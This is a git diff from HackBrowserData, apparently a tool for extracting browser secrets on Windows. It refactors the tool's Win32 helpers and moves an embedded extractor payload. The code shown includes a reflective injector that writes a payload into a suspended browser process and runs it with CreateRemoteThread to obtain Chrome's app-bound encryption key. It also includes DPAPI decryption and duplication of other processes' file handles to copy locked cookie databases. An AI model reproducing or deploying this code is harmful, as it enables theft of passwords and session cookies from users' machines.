diff --git a/browser/browser_windows_test.go b/browser/browser_windows_test.go new file mode 100644 index 0000000..71b8423 --- /dev/null +++ b/browser/browser_windows_test.go @@ -0,0 +1,32 @@ +//go:build windows + +package browser + +import ( + "testing" + + "github.com/moond4rk/hackbrowserdata/utils/winutil" +) + +// TestWinUtilTableCoversABEBrowsers verifies that every Windows browser +// with ABE support in winutil.Table has a matching Storage key in +// platformBrowsers(). A mismatch means adding a new Chromium fork was +// incomplete: either the BrowserConfig row lacks Storage: "", or +// winutil.Table has a stale entry nobody retrieves keys for. +func TestWinUtilTableCoversABEBrowsers(t *testing.T) { + storages := make(map[string]struct{}) + for _, b := range platformBrowsers() { + if b.Storage != "" { + storages[b.Storage] = struct{}{} + } + } + + for key, entry := range winutil.Table { + if entry.ABE == winutil.ABENone { + continue + } + if _, ok := storages[key]; !ok { + t.Errorf("winutil.Table[%q] declares ABE support but no BrowserConfig.Storage matches — either fix the table or set Storage: %q in platformBrowsers()", key, key) + } + } +} diff --git a/crypto/abe_embed_windows.go b/crypto/abe_embed_windows.go deleted file mode 100644 index c925ea2..0000000 --- a/crypto/abe_embed_windows.go +++ /dev/null @@ -1,25 +0,0 @@ -//go:build windows && abe_embed - -package crypto - -import ( - _ "embed" - "fmt" -) - -//go:generate make -C ../.. payload - -//go:embed abe_extractor_amd64.bin -var abePayloadAmd64 []byte - -func ABEPayload(arch string) ([]byte, error) { - switch arch { - case "amd64": - if len(abePayloadAmd64) == 0 { - return nil, fmt.Errorf("abe: amd64 payload is empty (build system bug)") - } - return abePayloadAmd64, nil - default: - return nil, fmt.Errorf("abe: arch %q not supported in this build", arch) - } -} diff --git a/crypto/abe_stub_windows.go b/crypto/abe_stub_windows.go deleted file mode 100644 index 5fee4fd..0000000 --- a/crypto/abe_stub_windows.go +++ /dev/null @@ -1,12 +0,0 @@ -//go:build windows && !abe_embed - -package crypto - -import "fmt" - -func ABEPayload(arch string) ([]byte, error) { - return nil, fmt.Errorf( - "abe: payload not embedded in this build (rebuild with -tags abe_embed; arch=%s)", - arch, - ) -} diff --git a/crypto/crypto_windows.go b/crypto/crypto_windows.go index e4785b3..ef58511 100644 --- a/crypto/crypto_windows.go +++ b/crypto/crypto_windows.go @@ -3,9 +3,7 @@ package crypto import ( - "fmt" - "syscall" - "unsafe" + "github.com/moond4rk/hackbrowserdata/utils/winapi" ) // gcmNonceSize is defined in crypto.go (cross-platform). @@ -32,47 +30,10 @@ func DecryptYandex(key, ciphertext []byte) ([]byte, error) { return AESGCMDecrypt(key, nonce, payload) } -type dataBlob struct { - cbData uint32 - pbData *byte -} - -func newBlob(d []byte) *dataBlob { - if len(d) == 0 { - return &dataBlob{} - } - return &dataBlob{ - pbData: &d[0], - cbData: uint32(len(d)), - } -} - -func (b *dataBlob) bytes() []byte { - d := make([]byte, b.cbData) - copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:]) - return d -} - -// DecryptDPAPI (Data Protection Application Programming Interface) -// is a simple cryptographic application programming interface -// available as a built-in component in Windows 2000 and -// later versions of Microsoft Windows operating systems +// DecryptDPAPI decrypts a DPAPI-protected blob using the current user's +// master key. The actual Win32 call (and its DATA_BLOB / LocalFree dance) +// lives in utils/winapi so every package that needs a syscall handle +// shares a single declaration instead of re-opening Crypt32.dll per call. func DecryptDPAPI(ciphertext []byte) ([]byte, error) { - crypt32 := syscall.NewLazyDLL("Crypt32.dll") - kernel32 := syscall.NewLazyDLL("Kernel32.dll") - unprotectDataProc := crypt32.NewProc("CryptUnprotectData") - localFreeProc := kernel32.NewProc("LocalFree") - - var outBlob dataBlob - r, _, err := unprotectDataProc.Call( - uintptr(unsafe.Pointer(newBlob(ciphertext))), - 0, 0, 0, 0, 0, - uintptr(unsafe.Pointer(&outBlob)), - ) - if r == 0 { - return nil, fmt.Errorf("CryptUnprotectData failed with error %w", err) - } - - defer localFreeProc.Call(uintptr(unsafe.Pointer(outBlob.pbData))) - return outBlob.bytes(), nil + return winapi.DecryptDPAPI(ciphertext) } diff --git a/crypto/keyretriever/abe_windows.go b/crypto/keyretriever/abe_windows.go index 204531e..85fa504 100644 --- a/crypto/keyretriever/abe_windows.go +++ b/crypto/keyretriever/abe_windows.go @@ -11,10 +11,10 @@ import ( "github.com/tidwall/gjson" - "github.com/moond4rk/hackbrowserdata/crypto" + "github.com/moond4rk/hackbrowserdata/crypto/windows/payload" "github.com/moond4rk/hackbrowserdata/log" - "github.com/moond4rk/hackbrowserdata/utils/browserutil" "github.com/moond4rk/hackbrowserdata/utils/injector" + "github.com/moond4rk/hackbrowserdata/utils/winutil" ) const envEncKeyB64 = "HBD_ABE_ENC_B64" @@ -36,12 +36,12 @@ func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, erro return nil, err } - payload, err := crypto.ABEPayload("amd64") + pl, err := payload.Get("amd64") if err != nil { return nil, fmt.Errorf("abe: %w", err) } - exePath, err := browserutil.ExecutablePath(browserKey) + exePath, err := winutil.ExecutablePath(browserKey) if err != nil { return nil, fmt.Errorf("abe: %w", err) } @@ -51,7 +51,7 @@ func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, erro } inj := &injector.Reflective{} - key, err := inj.Inject(exePath, payload, env) + key, err := inj.Inject(exePath, pl, env) if err != nil { return nil, fmt.Errorf("abe: inject into %s: %w", exePath, err) } diff --git a/crypto/windows/abe_native/Makefile.frag b/crypto/windows/abe_native/Makefile.frag index c340023..53f25c5 100644 --- a/crypto/windows/abe_native/Makefile.frag +++ b/crypto/windows/abe_native/Makefile.frag @@ -3,7 +3,7 @@ ABE_ARCH ?= amd64 ABE_TARGET ?= x86_64-windows-gnu ABE_SRC_DIR = crypto/windows/abe_native -ABE_BIN_DIR = crypto +ABE_BIN_DIR = crypto/windows/payload ABE_BIN = $(ABE_BIN_DIR)/abe_extractor_$(ABE_ARCH).bin ABE_CFLAGS = -shared -s -O2 \ @@ -38,7 +38,7 @@ payload-verify: $(ABE_BIN) fi payload-clean: - rm -f $(ABE_BIN_DIR)/abe_extractor_*.bin + rm -f $(ABE_BIN_DIR)/abe_extractor_*.bin $(ABE_BIN_DIR)/abe_extractor*.lib # Scratch-layout codegen. The C header bootstrap_layout.h is the single # source of truth; the Go constants in crypto/windows/abe_native/bootstrap diff --git a/crypto/windows/payload/embed_windows.go b/crypto/windows/payload/embed_windows.go new file mode 100644 index 0000000..94f541e --- /dev/null +++ b/crypto/windows/payload/embed_windows.go @@ -0,0 +1,32 @@ +//go:build windows && abe_embed + +// Package payload holds the compiled reflective-injection ABE payload +// binary and exposes it to the rest of HackBrowserData. The `abe_embed` +// build tag selects between a real //go:embed'd binary (this file) and +// a stub (stub_windows.go) so the default `go build ./...` succeeds on +// machines without the zig toolchain. +package payload + +import ( + _ "embed" + "fmt" +) + +//go:generate make -C ../../.. payload + +//go:embed abe_extractor_amd64.bin +var abePayloadAmd64 []byte + +// Get returns the embedded ABE payload for the given architecture. +// Only "amd64" is supported today; x86 / ARM64 payloads are future work. +func Get(arch string) ([]byte, error) { + switch arch { + case "amd64": + if len(abePayloadAmd64) == 0 { + return nil, fmt.Errorf("abe: amd64 payload is empty (build system bug)") + } + return abePayloadAmd64, nil + default: + return nil, fmt.Errorf("abe: arch %q not supported in this build", arch) + } +} diff --git a/crypto/windows/payload/stub_windows.go b/crypto/windows/payload/stub_windows.go new file mode 100644 index 0000000..9d2bb14 --- /dev/null +++ b/crypto/windows/payload/stub_windows.go @@ -0,0 +1,15 @@ +//go:build windows && !abe_embed + +package payload + +import "fmt" + +// Get returns an error in non-release builds so feature code that needs +// the payload fails fast with a clear message. Release builds (built +// with -tags abe_embed) replace this with the //go:embed'd binary. +func Get(arch string) ([]byte, error) { + return nil, fmt.Errorf( + "abe: payload not embedded in this build (rebuild with -tags abe_embed; arch=%s)", + arch, + ) +} diff --git a/filemanager/copy_windows.go b/filemanager/copy_windows.go index 073de9c..4f55c94 100644 --- a/filemanager/copy_windows.go +++ b/filemanager/copy_windows.go @@ -6,68 +6,17 @@ import ( "fmt" "os" "strings" - "unsafe" "golang.org/x/sys/windows" -) -const ( - // systemExtendedHandleInformation is the information class for - // NtQuerySystemInformation that returns SYSTEM_HANDLE_INFORMATION_EX. - // This is the 64-bit safe version (class 64) — UniqueProcessId is ULONG_PTR - // instead of USHORT, avoiding PID truncation on 64-bit Windows. - systemExtendedHandleInformation = 64 - - statusInfoLengthMismatch = 0xC0000004 - - fileMapRead = 0x0004 - pageReadonly = 0x02 - fileTypeDisk = 0x0001 -) - -// systemHandleTableEntryInfoEx represents SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX. -// This is the extended version returned by SystemExtendedHandleInformation (class 64). -// -// Layout (64-bit Windows): -// -// PVOID Object; // 8 bytes -// ULONG_PTR UniqueProcessId; // 8 bytes -// ULONG_PTR HandleValue; // 8 bytes -// ULONG GrantedAccess; // 4 bytes -// USHORT CreatorBackTraceIndex; // 2 bytes -// USHORT ObjectTypeIndex; // 2 bytes -// ULONG HandleAttributes; // 4 bytes -// ULONG Reserved; // 4 bytes -// Total: 40 bytes on 64-bit -type systemHandleTableEntryInfoEx struct { - Object uintptr - UniqueProcessID uintptr // ULONG_PTR: safe for PID > 65535 - HandleValue uintptr // ULONG_PTR: safe for large handle values - GrantedAccess uint32 - CreatorBackTraceIndex uint16 - ObjectTypeIndex uint16 - HandleAttributes uint32 - Reserved uint32 -} - -var ( - ntdll = windows.NewLazySystemDLL("ntdll.dll") - procNtQuerySystemInformation = ntdll.NewProc("NtQuerySystemInformation") - - kernel32 = windows.NewLazySystemDLL("kernel32.dll") - procGetFileType = kernel32.NewProc("GetFileType") - procGetFinalPathNameByHandleW = kernel32.NewProc("GetFinalPathNameByHandleW") - procCreateFileMappingW = kernel32.NewProc("CreateFileMappingW") - procMapViewOfFile = kernel32.NewProc("MapViewOfFile") - procUnmapViewOfFile = kernel32.NewProc("UnmapViewOfFile") - procGetFileSizeEx = kernel32.NewProc("GetFileSizeEx") + "github.com/moond4rk/hackbrowserdata/utils/winapi" ) // copyLocked copies a file that is locked by another process (e.g., Chrome's // Cookies database with PRAGMA locking_mode=EXCLUSIVE). // // Approach: DuplicateHandle + FileMapping -// 1. Enumerate all open file handles via NtQuerySystemInformation(SystemExtendedHandleInformation) +// 1. Enumerate all open file handles via NtQuerySystemInformation // 2. Find the handle matching the target file path // 3. Duplicate that handle into our process via DuplicateHandle // 4. Read file content through memory-mapped I/O (CreateFileMapping + MapViewOfFile) @@ -100,7 +49,7 @@ func findFileHandle(targetPath string) (windows.Handle, error) { targetSuffix := extractStableSuffix(targetPath) currentProcess := windows.CurrentProcess() - handles, err := querySystemHandles() + handles, err := winapi.QuerySystemHandles() if err != nil { return 0, err } @@ -133,14 +82,13 @@ func findFileHandle(targetPath string) (windows.Handle, error) { } // Verify it's a disk file (not a pipe, device, etc.) - fileType, _, _ := procGetFileType.Call(uintptr(dupHandle)) - if fileType != fileTypeDisk { + if winapi.GetFileType(dupHandle) != winapi.FileTypeDisk { _ = windows.CloseHandle(dupHandle) continue } // Get the file path and check if it matches our target - name, err := getFinalPathName(dupHandle) + name, err := winapi.GetFinalPathName(dupHandle) if err != nil { _ = windows.CloseHandle(dupHandle) continue @@ -155,101 +103,15 @@ func findFileHandle(targetPath string) (windows.Handle, error) { return 0, fmt.Errorf("no process has file open: %s", targetPath) } -// querySystemHandles calls NtQuerySystemInformation with -// SystemExtendedHandleInformation (class 64) to enumerate all open handles. -func querySystemHandles() ([]systemHandleTableEntryInfoEx, error) { - bufSize := uint32(4 * 1024 * 1024) // start at 4 MB - - for { - buf := make([]byte, bufSize) - var returnLength uint32 - - ret, _, _ := procNtQuerySystemInformation.Call( - systemExtendedHandleInformation, - uintptr(unsafe.Pointer(&buf[0])), - uintptr(bufSize), - uintptr(unsafe.Pointer(&returnLength)), - ) - - if ret == statusInfoLengthMismatch { - bufSize *= 2 - if bufSize > 256*1024*1024 { - return nil, fmt.Errorf("handle info buffer exceeded 256 MB") - } - continue - } - if ret != 0 { - return nil, fmt.Errorf("NtQuerySystemInformation returned 0x%x", ret) - } - - // Parse: first field is NumberOfHandles (ULONG_PTR), then array of entries - // On 64-bit: ULONG_PTR = 8 bytes - numberOfHandles := *(*uintptr)(unsafe.Pointer(&buf[0])) - if numberOfHandles == 0 { - return nil, nil - } - - count := int(numberOfHandles) - // Entries start after NumberOfHandles + Reserved (both ULONG_PTR = 16 bytes total) - const headerSize = unsafe.Sizeof(uintptr(0)) * 2 - entrySize := unsafe.Sizeof(systemHandleTableEntryInfoEx{}) - - // Validate buffer bounds - required := headerSize + uintptr(count)*entrySize - if required > uintptr(len(buf)) { - return nil, fmt.Errorf("buffer too small: need %d, have %d", required, len(buf)) - } - - entries := make([]systemHandleTableEntryInfoEx, count) - for i := 0; i < count; i++ { - src := unsafe.Pointer(uintptr(unsafe.Pointer(&buf[0])) + headerSize + uintptr(i)*entrySize) - entries[i] = *(*systemHandleTableEntryInfoEx)(src) - } - return entries, nil - } -} - -// getFinalPathName returns the normalized file path for a file handle. -func getFinalPathName(handle windows.Handle) (string, error) { - size := 512 - for { - buf := make([]uint16, size) - n, _, err := procGetFinalPathNameByHandleW.Call( - uintptr(handle), - uintptr(unsafe.Pointer(&buf[0])), - uintptr(len(buf)), - 0, // FILE_NAME_NORMALIZED - ) - if n == 0 { - return "", fmt.Errorf("GetFinalPathNameByHandle: %w", err) - } - if int(n) > len(buf) { - // Buffer too small, retry with required size - size = int(n) - continue - } - - path := windows.UTF16ToString(buf[:n]) - // Remove \\?\ prefix added by GetFinalPathNameByHandle - path = strings.TrimPrefix(path, `\\?\`) - return path, nil - } -} - // readFileContent reads file content from a duplicated handle. // It uses FileMapping first (CreateFileMapping + MapViewOfFile), which reads // from the OS kernel's file cache — this includes WAL data that Chrome has // written but not yet checkpointed to the main file. Falls back to ReadFile // if FileMapping fails. func readFileContent(handle windows.Handle) ([]byte, error) { - // Get file size - var fileSize int64 - ret, _, sizeErr := procGetFileSizeEx.Call( - uintptr(handle), - uintptr(unsafe.Pointer(&fileSize)), - ) - if ret == 0 { - return nil, fmt.Errorf("GetFileSizeEx: %w", sizeErr) + fileSize, err := winapi.GetFileSizeEx(handle) + if err != nil { + return nil, err } if fileSize == 0 { return nil, fmt.Errorf("file is empty") @@ -258,12 +120,13 @@ func readFileContent(handle windows.Handle) ([]byte, error) { size := int(fileSize) // Try FileMapping first — reads from kernel file cache, includes WAL data - if data, err := readViaFileMapping(handle, size); err == nil { + if data, err := winapi.MapFile(handle, size); err == nil { return data, nil } - // FileMapping failed, fall back to ReadFile - // Seek to beginning first — the handle's file pointer may be at an arbitrary position + // FileMapping failed, fall back to ReadFile. + // Seek to beginning first — the handle's file pointer may be at an + // arbitrary position. if _, err := windows.Seek(handle, 0, 0); err != nil { return nil, fmt.Errorf("seek to start: %w", err) } @@ -275,35 +138,6 @@ func readFileContent(handle windows.Handle) ([]byte, error) { return data[:bytesRead], nil } -// readViaFileMapping reads file content using CreateFileMapping + MapViewOfFile. -func readViaFileMapping(handle windows.Handle, size int) ([]byte, error) { - mapping, _, err := procCreateFileMappingW.Call( - uintptr(handle), - 0, pageReadonly, - 0, 0, 0, - ) - if mapping == 0 { - return nil, fmt.Errorf("CreateFileMapping: %w", err) - } - defer windows.CloseHandle(windows.Handle(mapping)) - - viewPtr, _, err := procMapViewOfFile.Call( - mapping, fileMapRead, - 0, 0, 0, - ) - if viewPtr == 0 { - return nil, fmt.Errorf("MapViewOfFile: %w", err) - } - defer procUnmapViewOfFile.Call(viewPtr) - - // viewPtr is a valid pointer from MapViewOfFile syscall. - // go vet flags this as "possible misuse of unsafe.Pointer" but it's - // correct usage for Windows memory-mapped I/O. - data := make([]byte, size) - copy(data, (*[1 << 30]byte)(unsafe.Pointer(viewPtr))[:size]) //nolint:govet - return data, nil -} - // extractStableSuffix extracts a path suffix that is stable across short/long // path name variations. It finds "AppData" in the path and returns everything // after "AppData\Local\" or "AppData\Roaming\" in lowercase. diff --git a/rfcs/010-chrome-abe-integration.md b/rfcs/010-chrome-abe-integration.md index 2f4ffbf..12c0f3b 100644 --- a/rfcs/010-chrome-abe-integration.md +++ b/rfcs/010-chrome-abe-integration.md @@ -196,7 +196,7 @@ Go consumes the same constants via **`go tool cgo -godefs`** (a development-time `keyretriever.DefaultRetriever()` returns `ChainRetriever [ABERetriever, DPAPIRetriever]` on Windows. `ABERetriever.RetrieveKey`: 1. Reads `Local State` → extracts `os_crypt.app_bound_encrypted_key` → strips `APPB` prefix. Missing field → `errNoABEKey`, chain falls through to DPAPI. -2. Resolves browser executable via `utils/browserutil/path_windows.go` (registry App Paths → hardcoded fallback). +2. Resolves browser executable via `utils/winutil/browser_path_windows.go` (registry App Paths → hardcoded fallback). 3. Base64-encodes the encrypted blob and passes it as `HBD_ABE_ENC_B64` env var. 4. `Reflective.Inject(exePath, payload, env)` runs the full flow in §3. 5. Returns the 32-byte key on success, or a formatted diagnostic error. @@ -299,7 +299,7 @@ Three steps. Detail (dump scripts, CLSID discovery) lives in private maintainer 2. **Mine IIDs from TypeLib** — the interface IIDs live in the TypeLib resource of `\Application\\elevation_service.exe`. PowerShell + `ITypeLib.GetTypeInfo` enumerates them. Map `IElevator` → v1 IID, `IElevator2` → v2 IID (absent for older vendors). 3. **Determine vtable slot** — count `IElevator` methods in the TypeLib. Chrome-family has 3 methods (slot 5). Edge prepends 3 placeholders (slot 8). Avast extends the interface further (slot 13). -Edit `crypto/windows/abe_native/com_iid.c` (add the entry), `browser/browser_windows.go` (set `Storage: ""` for the new `BrowserConfig`), optionally `utils/browserutil/path_windows.go` (for non-standard install paths), then `make payload-clean && make build-windows` and redeploy. +Edit `crypto/windows/abe_native/com_iid.c` (add the entry), `utils/winutil/browser_meta_windows.go` (add a matching `winutil.Entry` with the right `ABEKind` and install-path fallbacks), `browser/browser_windows.go` (set `Storage: ""` for the new `BrowserConfig`), then `make payload-clean && make build-windows` and redeploy. ## 12. Known issues & future work diff --git a/utils/browserutil/path_windows.go b/utils/browserutil/path_windows.go deleted file mode 100644 index 9bdccb9..0000000 --- a/utils/browserutil/path_windows.go +++ /dev/null @@ -1,116 +0,0 @@ -//go:build windows - -package browserutil - -import ( - "errors" - "fmt" - "os" - "path/filepath" - - "golang.org/x/sys/windows/registry" -) - -var ErrExecutableNotFound = errors.New("browser executable not found") - -type browserLocation struct { - exeName string - fallbacks []string -} - -var browserLocations = map[string]browserLocation{ - "chrome": { - exeName: "chrome.exe", - fallbacks: []string{ - `%ProgramFiles%\Google\Chrome\Application\chrome.exe`, - `%ProgramFiles(x86)%\Google\Chrome\Application\chrome.exe`, - `%LocalAppData%\Google\Chrome\Application\chrome.exe`, - }, - }, - "chrome-beta": { - exeName: "chrome.exe", - fallbacks: []string{ - `%ProgramFiles%\Google\Chrome Beta\Application\chrome.exe`, - `%ProgramFiles(x86)%\Google\Chrome Beta\Application\chrome.exe`, - `%LocalAppData%\Google\Chrome Beta\Application\chrome.exe`, - }, - }, - "edge": { - exeName: "msedge.exe", - fallbacks: []string{ - `%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe`, - `%ProgramFiles%\Microsoft\Edge\Application\msedge.exe`, - }, - }, - "brave": { - exeName: "brave.exe", - fallbacks: []string{ - `%ProgramFiles%\BraveSoftware\Brave-Browser\Application\brave.exe`, - `%ProgramFiles(x86)%\BraveSoftware\Brave-Browser\Application\brave.exe`, - `%LocalAppData%\BraveSoftware\Brave-Browser\Application\brave.exe`, - }, - }, - "coccoc": { - exeName: "browser.exe", - fallbacks: []string{ - `%ProgramFiles%\CocCoc\Browser\Application\browser.exe`, - `%ProgramFiles(x86)%\CocCoc\Browser\Application\browser.exe`, - `%LocalAppData%\CocCoc\Browser\Application\browser.exe`, - }, - }, -} - -func ExecutablePath(browserKey string) (string, error) { - loc, ok := browserLocations[browserKey] - if !ok { - return "", fmt.Errorf("%w: %q (no lookup entry)", ErrExecutableNotFound, browserKey) - } - - if p, err := appPathsLookup(loc.exeName, registry.LOCAL_MACHINE); err == nil { - return p, nil - } - if p, err := appPathsLookup(loc.exeName, registry.CURRENT_USER); err == nil { - return p, nil - } - - for _, candidate := range loc.fallbacks { - expanded := os.ExpandEnv(candidate) - if fileExists(expanded) { - return expanded, nil - } - } - - return "", fmt.Errorf("%w: %q (registry miss and no fallback match)", - ErrExecutableNotFound, browserKey) -} - -func appPathsLookup(exeName string, root registry.Key) (string, error) { - sub := `SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\` + exeName - k, err := registry.OpenKey(root, sub, registry.QUERY_VALUE) - if err != nil { - return "", err - } - defer k.Close() - - v, _, err := k.GetStringValue("") - if err != nil { - return "", err - } - v = unquote(v) - if !fileExists(v) { - return "", fmt.Errorf("registry path does not exist: %s", v) - } - return filepath.Clean(v), nil -} - -func fileExists(path string) bool { - info, err := os.Stat(path) - return err == nil && !info.IsDir() -} - -func unquote(s string) string { - if len(s) >= 2 && s[0] == '"' && s[len(s)-1] == '"' { - return s[1 : len(s)-1] - } - return s -} diff --git a/utils/injector/pe_windows_test.go b/utils/injector/pe_windows_test.go new file mode 100644 index 0000000..33f0deb --- /dev/null +++ b/utils/injector/pe_windows_test.go @@ -0,0 +1,106 @@ +//go:build windows + +package injector + +import ( + "os" + "testing" +) + +// kernel32Path is always present on a Windows host and its export table +// is stable across versions — an ideal fixture for PE-parsing tests. +const kernel32Path = `C:\Windows\System32\kernel32.dll` + +func readKernel32(t *testing.T) []byte { + t.Helper() + data, err := os.ReadFile(kernel32Path) + if err != nil { + t.Fatalf("read %s: %v", kernel32Path, err) + } + if len(data) == 0 { + t.Fatalf("%s is empty", kernel32Path) + } + return data +} + +func TestDetectPEArch_Kernel32IsAMD64(t *testing.T) { + arch, err := DetectPEArch(readKernel32(t)) + if err != nil { + t.Fatalf("DetectPEArch: %v", err) + } + if arch != ArchAMD64 { + t.Errorf("expected %q, got %q", ArchAMD64, arch) + } +} + +func TestDetectPEArch_Garbage(t *testing.T) { + _, err := DetectPEArch([]byte("definitely not a PE file")) + if err == nil { + t.Error("expected parse error for non-PE input") + } +} + +func TestDetectPEArch_EmptyInput(t *testing.T) { + _, err := DetectPEArch(nil) + if err == nil { + t.Error("expected parse error for empty input") + } +} + +// TestFindExportFileOffset_KnownExports walks a handful of kernel32 exports +// that Bootstrap also relies on via pre-resolved import patching. Passing +// here means both the export-table walker and the RVA→file-offset converter +// work against a real Windows PE — not just against fixtures we control. +func TestFindExportFileOffset_KnownExports(t *testing.T) { + data := readKernel32(t) + + // All of these have been stable kernel32 exports since Windows XP. + exports := []string{ + "LoadLibraryA", + "GetProcAddress", + "VirtualAlloc", + "VirtualProtect", + "CreateFileW", + } + + for _, name := range exports { + off, err := FindExportFileOffset(data, name) + if err != nil { + t.Errorf("%s: unexpected error: %v", name, err) + continue + } + if off == 0 { + t.Errorf("%s: got zero file offset", name) + } + if int(off) >= len(data) { + t.Errorf("%s: offset %d exceeds file size %d", name, off, len(data)) + } + } +} + +func TestFindExportFileOffset_MissingExport(t *testing.T) { + data := readKernel32(t) + _, err := FindExportFileOffset(data, "HbdNoSuchExport_abcdef1234") + if err == nil { + t.Error("expected error for nonexistent export name") + } +} + +func TestFindExportFileOffset_GarbageInput(t *testing.T) { + _, err := FindExportFileOffset([]byte("not a PE file at all"), "LoadLibraryA") + if err == nil { + t.Error("expected error when parsing non-PE input") + } +} + +func TestFindExportFileOffset_TruncatedPE(t *testing.T) { + data := readKernel32(t) + // Chop to just the DOS stub — export directory is unreachable. + if len(data) < 128 { + t.Fatalf("kernel32 is implausibly small: %d bytes", len(data)) + } + _, err := FindExportFileOffset(data[:128], "LoadLibraryA") + if err == nil { + t.Error("expected error when PE is truncated past the DOS header") + } +} diff --git a/utils/injector/reflective_windows.go b/utils/injector/reflective_windows.go index 018c35c..c0e044c 100644 --- a/utils/injector/reflective_windows.go +++ b/utils/injector/reflective_windows.go @@ -12,6 +12,7 @@ import ( "golang.org/x/sys/windows" "github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap" + "github.com/moond4rk/hackbrowserdata/utils/winapi" ) type Reflective struct { @@ -149,11 +150,10 @@ func spawnSuspended(exePath string) (*windows.ProcessInformation, error) { } func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) { - remoteBase, err := callBoolErr(procVirtualAllocEx, - uintptr(proc), 0, + remoteBase, err := winapi.VirtualAllocEx(proc, uintptr(len(payload)), - uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), - uintptr(windows.PAGE_EXECUTE_READWRITE), + uint32(windows.MEM_COMMIT|windows.MEM_RESERVE), + uint32(windows.PAGE_EXECUTE_READWRITE), ) if err != nil { return 0, fmt.Errorf("injector: %w", err) @@ -171,15 +171,13 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) { func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error { entry := remoteBase + uintptr(loaderRVA) - hThread, err := callBoolErr(procCreateRemoteThread, - uintptr(proc), 0, 0, entry, 0, 0, 0, - ) + hThread, err := winapi.CreateRemoteThread(proc, entry, 0) if err != nil { return fmt.Errorf("injector: %w", err) } - defer windows.CloseHandle(windows.Handle(hThread)) + defer windows.CloseHandle(hThread) - state, err := windows.WaitForSingleObject(windows.Handle(hThread), uint32(wait/time.Millisecond)) + state, err := windows.WaitForSingleObject(hThread, uint32(wait/time.Millisecond)) if err != nil { return fmt.Errorf("injector: WaitForSingleObject: %w", err) } @@ -243,11 +241,11 @@ func patchPreresolvedImports(payload []byte) ([]byte, error) { return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch") } - pLoadLibraryA := procLoadLibraryA.Addr() - pGetProcAddress := procGetProcAddress.Addr() - pVirtualAlloc := procVirtualAlloc.Addr() - pVirtualProtect := procVirtualProtect.Addr() - pNtFlushIC := procNtFlushIC.Addr() + pLoadLibraryA := winapi.AddrLoadLibraryA() + pGetProcAddress := winapi.AddrGetProcAddress() + pVirtualAlloc := winapi.AddrVirtualAlloc() + pVirtualProtect := winapi.AddrVirtualProtect() + pNtFlushIC := winapi.AddrNtFlushInstructionCache() if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 || pVirtualProtect == 0 || pNtFlushIC == 0 { diff --git a/utils/injector/strategy.go b/utils/injector/strategy.go deleted file mode 100644 index 56e9b20..0000000 --- a/utils/injector/strategy.go +++ /dev/null @@ -1,5 +0,0 @@ -package injector - -type Strategy interface { - Inject(exePath string, payload []byte, env map[string]string) ([]byte, error) -} diff --git a/utils/injector/winapi_windows.go b/utils/injector/winapi_windows.go deleted file mode 100644 index cb1b58a..0000000 --- a/utils/injector/winapi_windows.go +++ /dev/null @@ -1,52 +0,0 @@ -//go:build windows - -package injector - -import ( - "errors" - "fmt" - "syscall" - - "golang.org/x/sys/windows" -) - -// Package-level lazy DLL/Proc handles. Consolidating them here avoids the -// NewLazySystemDLL("kernel32.dll") boilerplate spread across every helper in -// reflective_windows.go, and gives us a single place to extend when a new -// Win32 API is needed. Matches the pattern used in filemanager/copy_windows.go. -var ( - kernel32 = windows.NewLazySystemDLL("kernel32.dll") - ntdll = windows.NewLazySystemDLL("ntdll.dll") - - // Call-style procs: Win32 APIs that `golang.org/x/sys/windows` does NOT - // provide typed wrappers for. We invoke them via LazyProc.Call. - procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx") - procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread") - - // Address-style procs: consumed only via .Addr() by patchPreresolvedImports - // to patch raw function pointers into the payload's DOS stub. We never Call - // these from our own process. - procLoadLibraryA = kernel32.NewProc("LoadLibraryA") - procGetProcAddress = kernel32.NewProc("GetProcAddress") - procVirtualAlloc = kernel32.NewProc("VirtualAlloc") - procVirtualProtect = kernel32.NewProc("VirtualProtect") - procNtFlushIC = ntdll.NewProc("NtFlushInstructionCache") -) - -// callBoolErr wraps the common "r1 == 0 means failure" Win32 convention. -// Win32 GetLastError often returns ERROR_SUCCESS (errno 0) even on failure, -// so we distinguish the "no-errno" case explicitly to avoid emitting misleading -// "operation completed successfully" messages. We use errors.As rather than a -// type assertion so the check stays correct if x/sys/windows ever wraps the -// underlying errno. -func callBoolErr(p *windows.LazyProc, args ...uintptr) (uintptr, error) { - r, _, callErr := p.Call(args...) - if r == 0 { - var errno syscall.Errno - if errors.As(callErr, &errno) && errno == 0 { - return 0, fmt.Errorf("%s: failed (no errno)", p.Name) - } - return 0, fmt.Errorf("%s: %w", p.Name, callErr) - } - return r, nil -} diff --git a/utils/winapi/dpapi_windows.go b/utils/winapi/dpapi_windows.go new file mode 100644 index 0000000..eb50dba --- /dev/null +++ b/utils/winapi/dpapi_windows.go @@ -0,0 +1,49 @@ +//go:build windows + +package winapi + +import ( + "fmt" + "unsafe" +) + +var ( + procCryptUnprotectData = Crypt32.NewProc("CryptUnprotectData") + procLocalFree = Kernel32.NewProc("LocalFree") +) + +// dataBlob mirrors the DPAPI DATA_BLOB struct. +type dataBlob struct { + cbData uint32 + pbData *byte +} + +func newBlob(d []byte) *dataBlob { + if len(d) == 0 { + return &dataBlob{} + } + return &dataBlob{pbData: &d[0], cbData: uint32(len(d))} +} + +func (b *dataBlob) bytes() []byte { + d := make([]byte, b.cbData) + copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:]) + return d +} + +// DecryptDPAPI decrypts a DPAPI-protected blob using the current user's +// master key. It is the Windows counterpart to macOS/Linux os_crypt +// fallbacks and is called by crypto.DecryptDPAPI. +func DecryptDPAPI(ciphertext []byte) ([]byte, error) { + var out dataBlob + r, _, err := procCryptUnprotectData.Call( + uintptr(unsafe.Pointer(newBlob(ciphertext))), + 0, 